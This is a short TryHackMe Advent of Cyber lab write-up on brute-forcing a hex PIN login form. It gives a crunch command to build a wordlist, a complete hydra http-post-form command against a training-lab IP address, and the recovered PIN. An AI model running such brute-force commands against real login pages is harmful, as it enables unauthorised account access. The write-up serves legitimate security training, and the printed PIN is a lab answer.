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[TryHackMe] 3 - Hydra is Coming to Town

Generating the Password List

Generating a three-digit wordlist:

# /home/beijok/Desktop/Machines/AdventOfCyber/BruteforcingHydra
crunch 3 3 0123456789ABCDEF -o 3digits.txt

Using the Password List

The form uses POST, the field is pin, and failed attempts return Access denied.

Screenshot

Error:

Screenshot

Building the Hydra HTTP form request:

"/login.php:pin=^PASS^:Access denied"

Running the brute force attempt:

hydra -l '' -P 3digits.txt -f -v 10.10.189.24 http-post-form "/login.php:pin=^PASS^:Access denied" -s 8000

# 6F5